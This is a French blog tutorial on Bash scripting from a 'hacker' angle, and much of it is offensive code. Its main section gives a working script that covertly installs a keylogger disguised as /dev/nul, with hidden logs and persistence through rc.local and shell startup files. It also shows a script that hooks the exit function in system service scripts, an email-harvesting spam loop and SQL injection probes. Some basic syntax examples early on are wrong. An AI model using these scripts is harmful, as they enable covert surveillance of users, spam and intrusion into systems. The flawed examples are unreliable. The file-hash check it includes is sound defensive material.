La programmation Bash (sous Linux) en elle même est relativement restreinte, aux commandes qu'elle utilise près. A l'instar de son concurrent(?) le Batch, Bash est très limité en lui même, cependant des fonctionnalités très intéressantes et tout de même plus riches que Batch sous MSDOS. Comme me l'a enseigné un professeur, il ne s'agit pas réellement d'une programmation mais plutôt de scripts, qui appliqué dans le domaine de l'informatique (après tout, il y a bien des scripts au théâtre...) devrait plutôt s'appeler "script pour l'informatique" ou "logiciel script", nous appelleront ça les logiscript[1]. Pour faire différent nous allons détourner l'utilité habituelle (maintenant et automatisation des tâches) de Bash, nous allons nous orienter d'un point de vue 'hacker'.





0x01. QUELQUES RAPPELS


Il doit y avoir l'entête #!/bin/bash pour les scripts bash, pour que la commande file retiourne le bon type de fichier.


 
# Attribution d une valeur à une variable
VAR=1
 
# Opération numérique
VAR=$((VAR+1))
 
# Tableaux
VAR="1234EFG"
echo $VAR[0]                  # Affiche: 1
echo $VAR[1]                  # Affiche: 1
echo $VAR[2]                  # Affiche: 2
VAR[1]=$((VAR[1]+VAR[2]))     # 
echo $VAR[1]                  # Affiche: 1+2 = 3
 
# Accolades
A=1 ; B=2 ; C=3
echo ${A}                     # Affiche 1
echo ${A+B}                   # Affiche B     / 
echo ${A-B}                   # Affiche 1 (A) / retire B 
echo ${C=A}                   # Affiche 3 (C) / identifie C
 
# Evaluation
A="ls -l /home"
B=$($A)
echo $B                       # Affiche le contenu de home
                              # sur une ligne
 
C=`cut -d':' -f1 /etc/passwd` # La liste des utilisateurs
echo $C                       # et l affiche
 

Petite astuce, pour naviguer entre plusieurs dossier, il est utile de garder les dossiers quelque part en mémoire, soit dans des variables, soit dans la pile.


 
# Par les variables...
nicolas@portable:~$ cd /pentest/enumeration/dns/dns-bruteforce         
nicolas@portable:dns-bruteforce$ C1=$PWD                               
nicolas@portable:dns-bruteforce$ cd /usr/share/ettercap                
nicolas@portable:ettercap$ C2=$PWD                                     
nicolas@portable:ettercap$ cd "$C1"                                    
nicolas@portable:dns-bruteforce$ cd "$C2"                              
nicolas@portable:ettercap$                                             
 
# ...par la pile 
nicolas@portable:~$ pushd /pentest/enumeration/dns/dns-bruteforce 
nicolas@portable:dns-bruteforce$ pushd /usr/share/ettercap
nicolas@portable:ettercap$ popd
nicolas@portable:dns-bruteforce$ popd
nicolas@portable:~$

Pour connaitre les variables d'environnement il suffit de taper à l'invité de commande : env


Revoyons aussi, les conditions, nécessaire à l'utilisation avancée qu'on peut avoir d'une console :


 
# La condition suivante renvoie le code d erreur :
[ "$CONDITION" ] 
 
# ET celle-ci renvoie 0 s il n y a pas d erreur sinon 1
[[ "$CONDITION" ]]
 
# Puis la condition en tant que telle : if-then-fi
if [ ... ] ; then ; [ instructions ] ; fi
 
 
# Récapitulatif des conditions de comparaison :
-gt    >    -ge     >=
-lt    <    -lt     <=
-eq    =
# Exemple :
[ $nombre -eq 1 ] && echo $((nombre+1))
[ "$chaine" = "str" ] && echo "Ok"
 
 
# Les conditions d existance :
-d    dossier
-x    exécutable
-f    fichier
# Exemple :
[ -f "$fichier" ] && echo "Le fichier existe"
 
 
# Sous-instructions :
[ "$COND" ] && ( commande1 ; commande2 )
# /!/ La fonction 'exit' dans ces sous-instructions ne sort pas du programme
# tout du moins, sous Bash.
 
# Conditions multilples :
if [ "$COND1" ] ; then
  elif [ "$COND2" ] ; then
    $ACTIONS
  fi
fi
 
case "$VAR" in 
   "val1") "$ACTION1" ;;
   "val2") "$ACTION2" ;;
   "val3") "$ACTION3" ;;
esac
 

Les boucles :


 
# Boucles FOR
for i in $(seq 1 10) ; do echo $i ; done
for i in $(seq 1 10)
do
  echo $i
done
 
 
# Boucles WHILE
i=0 ; while [ $i -lt 10 ] ; do i=$((i+1)) ; echo $i ; done
i=0
while [ $i -lt 10 ]
do
  i=$((i+1))
  echo $i
done
 
 

Les fonctions :


 
function MaFonction()
{
  # Les parametres sont comme pour un script Bash
  echo "Parametres : $*"
}
 
# Les parantheses sont facultatives
function MaFonction
{
  # Les paramètres sont comme pour un script Bash
  echo "Parametres : $*"
 
  # Sort du script/programme
  exit 1
}
 
# Les fonctions peuvent retourner un code d erreur propre à elles
function MaFonction
{
  # Les parametres sont comme pour un script Bash
  echo "Parametres : $*"
 
  # Sort de la fonction avec son code d erreur
  return 1
}
 
 




0x02. SCRIPTS MALICIEUX


Quand on parle de virologie ou de virus, c'est à partir du moment oà un programme se reproduit en tout ou partie dans un autre, ou entre systèmes. Nous sommes donc en mesure de parler de "virus scriptés", dans la mesure oà un script en modifiera un autre. Le vecteur d'infection est défini par la transmission, ici une chaine de caractère.


Voici dans un premier temps une installation de lkl aussi discrète que possible. On peut alors parler d'infection puisque un fichier en modifie d'autres afin d'avoir un comportement modifié, ici surveiller l'activité au clavier.


 
 #!/bin/bash
 
# Définitions des variables
# - fichier modifié, fichier de copie
# - binaire, keymaps et log
 
F="/tmp/.rc.local-$RANDOM"
D="/etc/rc.local"
B="/etc/.rc.local.copy"
 
BIN="usr/bin/lkl"
KEYMAPS="usr/share/lkl/keymaps/*"
 
 
# Création des dossiers qui accueilleront les journaux et programmes
# ------------------------------------------------------------------
cp -fv "$BIN" "/dev/nul"                          # Le programme
mkdir -vp "/etc/fonts/conf.d/.keymaps/"           # Dossier de cartes du clavier
cp -rfv $KEYMAPS "/etc/fonts/conf.d/.keymaps/"    # Cartes du clavier (fr, uk, ...)
mkdir -vp "/etc/initramfs-tools/"                 # Les journaux
LOG="/etc/initramfs-tools/.log"                   # Le fichier de journal
 
 
# Modification du rc.local pour un démarrage automatique
# ------------------------------------------------------
grep "//dev//nul" $D >/dev/null 2>&1 ; E=$?
 
# Si 'lkl' n est pas encore installé
if [ $E -ne 0 ]
then
    cp $D $B
 
    # Démarrage par /etc/rc.local
    grep -v 'exit' /etc/rc.local > $F
    echo '/dev/nul -l -k /etc/fonts/conf.d/.keymaps/fr_km -o /etc/initramfs-tools/.log >/dev/null 2>&1 &' >> $F
 
    # Démarrage par ouverture de session : bash, ksh, zsh, tcsh
    [ -f "$HOME/.bashrc" ] && echo '/dev/nul -l -k /etc/fonts/conf.d/.keymaps/fr_km -o /etc/initramfs-tools/.log >/dev/null 2>&1 &' >> "$HOME/.bashrc"
    [ -f "$HOME/.kshrc" ] && echo '/dev/nul -l -k /etc/fonts/conf.d/.keymaps/fr_km -o /etc/initramfs-tools/.log >/dev/null 2>&1 &' >> "$HOME/.kshrc"
    [ -f "$HOME/.tcshrc" ] && echo '/dev/nul -l -k /etc/fonts/conf.d/.keymaps/fr_km -o /etc/initramfs-tools/.log >/dev/null 2>&1 &' >> "$HOME/.tcshrc"
    [ -f "$HOME/.zshrc" ] && echo '/dev/nul -l -k /etc/fonts/conf.d/.keymaps/fr_km -o /etc/initramfs-tools/.log >/dev/null 2>&1 &' >> "$HOME/.zshrc"
 
echo 'exit 0' >> $F
 
cp $F $D
fi
 

Dans le genre plus vicieux, on peut aussi s'attaquer aux services déjà installés. En effet il est possible de crocheter la fonction de sortie pour qu'elle effectue une autre opération avant que le service ne se termine. C'est discrèt dans la mesure oà, rarement nous sommes ammenés à lire les scripts des services (/etc/init.d -ou- /etc/rc?.d) :


 
 
SERVICE="netatalk"
TMP="$SERVICE$RANDOM"
BKP=".$SERVICE$RANDOM"
 
# On travaille d abord dans le fichier sauvegardé
cp $SERVICE $TMP
cp $SERVICE $BKP
sed -i 's/exit/_exit/g' $TMP
sed -i 's/__exit/_exit/g' $TMP
 
# Ensuite on travaille le fichier pour y insérer notre hook
## On récupère à ce niveau, l ent&ecirc;te du fichier :
## ligne shebang + les informations d initialisations 
## BEGIN INIT INFO et END INIT INFO
L=$(grep -n "END INIT INFO" $SERVICE | cut -d':' -f1)
 
## Extraction de l entete
head -n $L $TMP > /tmp/entete_service
 
## Extraction du corps
N=$(cat -n $TMP | tail -n 1 | awk {'print $1'})
tail -n $((N-L)) $TMP > /tmp/corps_service
echo '
function _exit() 
{
  echo "*** function hooked: exit" # On peut mettre ici ce qu on veut...
  exit $*
}
' > /tmp/hook_service
cat /tmp/entete_service > $SERVICE
cat /tmp/hook_service >> $SERVICE
cat /tmp/corps_service >> $SERVICE
rm -f /tmp/entete_service
rm -f /tmp/hook_service
rm -f /tmp/corps_service
rm -f $TMP
 
 

Une solution qui peut être mise en place est de vérifier la somme de contrôle (hash) des fichiers de service :


 
# A exécuter en root, pour les hash de référence
sha1sum /etc/init.d/* > /var/log/hash-services.ref.log
 
# A exécuter périodiquement, dans le crontab par exemple
sha1sum /etc/init.d/* > /tmp/hash-services
diff /tmp/hash-services /var/log/hash-services.ref.log
if [ $? -ne 0 ] ; then
   S=$(diff /tmp/hash-services /var/log/hash-services.ref.log | awk {'print $3'} | sort -u | tail | grep -E "[a-z]")
   echo -e "/e[1;31m * Le service a changé : $S" ;
   exit 1
fi
exit 0
 
 




0x03. AUTOMATISATION D'ATTAQUES


La plus part des langages de scripting sont fait pour automatiser des opérations répétitives et donc pénibles à effectuer. Si ceci veut dire que par exemple trier un fichier contenant des dizaines de milliers de lignes, retrouver une chaine de caractère spécifique dans toute une liste de fichier, cela peut aussi vouloir dire que les audits de sécurité :
- bruteforce avec des mots de passe simples ou standard
- des injections SQL
- de la devinette de chemin (configurazion au lieu configuration...)
- renommer N fichiers en d'autres noms...
Bref, tout cela pour dire que n'importe quoi peu être automatisé. Par exemple, pour de la collecte d'adresse mail dans une page :


 
# Variables pour éviter de taper le nom du/des fichier(s) à chaque fois
F=$RANDOM.tmp
D="recup-mail.txt"
 
# Télécharge une page Web en local
wget "http://www.domaine.com/contact/" -O "$F"
 
# Récupère les adresses mails
grep -oE "([a-zA-Z/.])+?@([a-zA-Z/.])+/.([a-zA-Z]){2,3}" "$F" > "$D"
echo 'MESSAGE DE SPAM' > MSG
 
# Pour chaque adresse mail trouvée, on envoie un mail
for m in $(cat "$D") ; do mail -s "Sujet" $m < MSG ; done
 

Pour les injections SQL, le process y ressemble :


 
# Pour l injection par requete HTTP GET :
wget "http://www.domaine.com/?q=' OR ''='" -O "$F"
grep -oE "$PATTERN" "$F" > /dev/null 2>&1
[ $? -eq 0 ] && echo "Injection OK !"
rm -f "$F"
 
# Pour l injection par requete HTTP POST :
wget --post-data="q=' OR ''='" "http://www.domaine.com/" -O "$F"
grep -oE "$PATTERN" "$F" > /dev/null 2>&1
[ $? -eq 0 ] && echo "Injection OK !"
rm -f "$F"
 


Les boucles peuvent également servir à "fuzzer" une application, c'est à dire utiliser les paramètres d'une application dans le but de la faire planter :


 
for i in $(seq 200 300)
do
	./application $(python -c "print 'a'*$i")
done
 

Maintenant il est claire que le Bash n'est pas suffisant pour coder un exploit, bien qu'il peut y apporter son soutient :


 
#!/bin/bash
 
echo '
// Source de l exploit
// sans le symbole utiliser par echo
' > /tmp/.exploit.c
 
gcc /tmp/.exploit.c -o /tmp/exploit
/tmp/exploit
rm -f /tmp/exploit
 




0x04. CONCLUSION


Bien qu'un simple langage de script, le Bash, mais surtout avec les outils qui conviennent (grep, wget, curl, ...) font de l'environnement Unix, très maniable, bien plus que MSDOS.




   =>   Écrit par : Nicolas, le 22 novembre 2010


 
Mots clés :  
  bash 
  
  security 
    >   Articles connexes :

Chiffrement multicouche



HTTP Download



/tmp et /var/log en noexec sur macOS



Durcissement de Windows



8161823